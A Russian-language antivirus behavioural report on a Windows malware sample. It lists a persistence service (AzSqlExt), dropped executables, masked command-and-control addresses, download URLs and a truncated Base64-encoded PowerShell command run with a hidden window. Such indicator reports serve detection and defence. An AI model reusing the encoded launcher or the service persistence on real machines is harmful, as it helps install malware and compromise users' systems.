Техническая информация
Для обеспечения автозапуска и распространения
Создает следующие сервисы
- [<HKLM>\System\CurrentControlSet\Services\AzSqlExt] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\AzSqlExt] 'ImagePath' = '"%WINDIR%\SysWOW64\AzSqlExt\AzSqlExt.exe"'
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABOAGsAdABnAGUAcwBoAGEAYgA9ACcAUABxAGkAbgBhAGkAagBjAHcAZgBvACcAOwAkAFIAdQBtAGwAdQBzAHAAZAAgAD0AIAAnADYAMQA5ACcAOwAkAEwAbwBxAGgAZgBnAGwAYgBmAGMAcgB3AG0APQAnAEcAbwB3AHUAawBjAGUAZQAnADsAJABMAH...
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\619.exe
Перемещает следующие файлы
- %HOMEPATH%\619.exe в %WINDIR%\syswow64\azsqlext\azsqlext.exe
Сетевая активность
Подключается к
- '24.##9.63.138':80
- '2.##.165.235':80
- '14#.#10.171.237':8080
- '64.##7.176.4':8080
- '18#.#2.123.60':443
- '50.##.13.135':8080
- '17#.#3.167.120':8080
- '95.##.182.136':80
- '18#.#62.115.11':443
TCP
Запросы HTTP GET
- http://sa.###oonstore.com/cgi-bin/bd0pi9a-az5w364ay-4876830/
- http://th###cruiter.io/wp-admin/user/modules/Fvcvsotd/
Запросы HTTP POST
- http://14#.###.171.237:8080/BQ5aUPpK8A9L/5OEFXM05jkaBM4Z/JexCgqPxaxNqxFd9Q/ via 14#.#10.171.237
- http://17#.##.167.120:8080/2HgQATKPtQR6QEQWZLF/tttUucAbXIVkQxqyht5/ via 17#.#3.167.120
UDP
- DNS ASK ne#######orks.condor-group.it
- DNS ASK nj###d.ueuo.com
- DNS ASK sa.###oonstore.com
- DNS ASK th###cruiter.io
Другое
Создает и запускает на исполнение
- '%HOMEPATH%\619.exe'
- '%WINDIR%\syswow64\azsqlext\azsqlext.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABOAGsAdABnAGUAcwBoAGEAYgA9ACcAUABxAGkAbgBhAGkAagBjAHcAZgBvACcAOwAkAFIAdQBtAGwAdQBzAHAAZAAgAD0AIAAnADYAMQA5ACcAOwAkAEwAbwBxAGgAZgBnAGwAYgBmAGMAcgB3AG0APQAnAEcAbwB3AHUAawBjAGUAZQAnADsAJABMAH...' (со скрытым окном)
